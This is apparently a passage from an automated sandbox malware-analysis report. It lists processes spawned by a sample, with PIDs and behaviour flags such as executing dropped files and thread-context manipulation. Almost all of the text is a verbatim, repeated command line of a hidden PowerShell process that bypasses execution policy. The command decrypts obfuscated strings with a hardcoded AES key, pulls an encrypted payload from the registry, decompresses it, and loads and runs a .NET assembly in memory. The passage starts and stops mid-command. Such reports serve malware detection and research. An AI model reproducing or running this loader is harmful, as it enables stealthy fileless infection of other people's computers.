-join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))6⤵
- Executes dropped EXE
PID:5308
-
-
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:5876
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE0);$UswSE1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('c5XC748b+iFBdBWdnZ4s2w==');$UswSE1 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE1, 0, $UswSE1.Length);$UswSE1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE1);$UswSE2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eJLAPTei3F5Fj8pfHCkW0A==');$UswSE2 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE2, 0, $UswSE2.Length);$UswSE2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE2);$UswSE3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7VMq7slMB5TL9zlr2duzSA==');$UswSE3 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE3, 0, $UswSE3.Length);$UswSE3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE3);$cXkwu.Dispose();$OeLLh1.Dispose();$vDMJP = [Microsoft.Win32.Registry]::$HVXKt.$gBBaw($UswSE).$cOnuq($Dsgcn);$ZyJrD=[string[]]$vDMJP.Split('\');$pKkNV=XSkGH(CzXOR([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[1])));BdfTq $pKkNV (,[string[]] ('%*'));$quBDS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZyJrD[0]);$OeLLh = New-Object System.Security.Cryptography.AesManaged;$OeLLh.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$CdjJU = $OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')();$quBDS = $CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($quBDS, 0, $quBDS.Length);$CdjJU.Dispose();$OeLLh.Dispose();$YMVfV = New-Object System.IO.MemoryStream(, $quBDS);$HPwhP = New-Object System.IO.MemoryStream;$LnniF = New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::$UswSE1);$LnniF.$ewjne($HPwhP);$LnniF.Dispose();$YMVfV.Dispose();$HPwhP.Dispose();$quBDS = $HPwhP.ToArray();$xnpKq = $XVVPy | IEX;$ZLyfJ = $xnpKq::$UswSE2($quBDS);$xoyvm = $ZLyfJ.EntryPoint;$xoyvm.$UswSE0($null, (, [string[]] ($WtQaE)))5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:6036
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(4352).WaitForExit();[System.Threading.Thread]::Sleep(5000); function CzXOR($wCmAa){ $OeLLh=[System.Security.Cryptography.Aes]::Create(); $OeLLh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $OeLLh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $OeLLh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U='); $OeLLh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q=='); $CdjJU=$OeLLh.('rotpyrceDetaerC'[-1..-15] -join '')(); $ZrPpX=$CdjJU.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($wCmAa, 0, $wCmAa.Length); $CdjJU.Dispose(); $OeLLh.Dispose(); $ZrPpX;}function XSkGH($wCmAa){ $YMVfV=New-Object System.IO.MemoryStream(,$wCmAa); $HPwhP=New-Object System.IO.MemoryStream; $LnniF=New-Object System.IO.Compression.GZipStream($YMVfV, [IO.Compression.CompressionMode]::Decompress); $LnniF.CopyTo($HPwhP); $LnniF.Dispose(); $YMVfV.Dispose(); $HPwhP.Dispose(); $HPwhP.ToArray();}function BdfTq($wCmAa,$IUdXm){ $ZLyfJ=[System.Reflection.Assembly]::Load([byte[]]$wCmAa); $xoyvm=$ZLyfJ.EntryPoint; $xoyvm.Invoke($null, $IUdXm);}$OeLLh1 = New-Object System.Security.Cryptography.AesManaged;$OeLLh1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$OeLLh1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$OeLLh1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('swD/g0ddwufYKX/qihDrldk6m+EvFku6CpuKgW+L79U=');$OeLLh1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hO/TaNK/xjmsS/krRQP/2Q==');$cXkwu = $OeLLh1.('rotpyrceDetaerC'[-1..-15] -join '')();$UswSE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('18zwi26zozI/4sNwvOJxpg==');$UswSE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE, 0, $UswSE.Length);$UswSE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UswSE);$Dsgcn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EkARJ6Rv6BIg2MogoHYcmw/X0/TgnV5+LWpTmFkicv4=');$Dsgcn = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Dsgcn, 0, $Dsgcn.Length);$Dsgcn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Dsgcn);$WtQaE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CPgoovSvydwIKAVbsV0oUg==');$WtQaE = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WtQaE, 0, $WtQaE.Length);$WtQaE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WtQaE);$XVVPy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iTx/W/jnzoHE14r8DEibMEyuaeYiE3dAqeSv8NW3jSN5A97h+1KY+THryvIh1dJiGmsnJ//SXLVPWbfMRzL7ufXSCGPz+pfVsuxaLTSyptiJPzqcoan9Xr1jE4Rmc5u7LTId80wSaXqLNmoB4fPg/P7NE3c2Yuw0nqWt/ZngWniFYubjYtKMqyyNRSfNgyr89Ug/vFc6LgfL0bPIYeBlHCze7nx8PsBL+Q/EBybHWqUfBjNVsJmx3EeYrFfxNdSC3e8Y+JBmg8TSGLJHyBt+tFwMt/TmHxps75m66JuQeZLlhKeLZ6bjJ74zTvsp2A8buoYwDETvErAcvrBSGhVS7mYWy6o4J4BMWokYyeV+Cq7Q8/73SCovtE69+hmKy7HRlFzPuhkQyPHRSeQjZ9+873yj/eogIwSIkiXGB0fk3+g=');$XVVPy = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVVPy, 0, $XVVPy.Length);$XVVPy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVVPy);$ZnwOj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('l578nKfyTb6bpNlYfElbzQ==');$ZnwOj = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZnwOj, 0, $ZnwOj.Length);$ZnwOj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZnwOj);$cOnuq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1OZ44W6bdY1aa1QLUX4fJA==');$cOnuq = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cOnuq, 0, $cOnuq.Length);$cOnuq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($cOnuq);$gBBaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KPGj8zPRDGjW+cttrplwtg==');$gBBaw = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gBBaw, 0, $gBBaw.Length);$gBBaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gBBaw);$HVXKt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg3LvN/Da8EBkYu0PdZp+A==');$HVXKt = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($HVXKt, 0, $HVXKt.Length);$HVXKt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($HVXKt);$ewjne = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bahh8RYkzn28RHBrHTR6Rw==');$ewjne = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ewjne, 0, $ewjne.Length);$ewjne = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ewjne);$UswSE0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7ps7mtx52AURDUYRcez/RA==');$UswSE0 = $cXkwu.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UswSE0, 0, $UswSE0.Length);$UswSE0 = 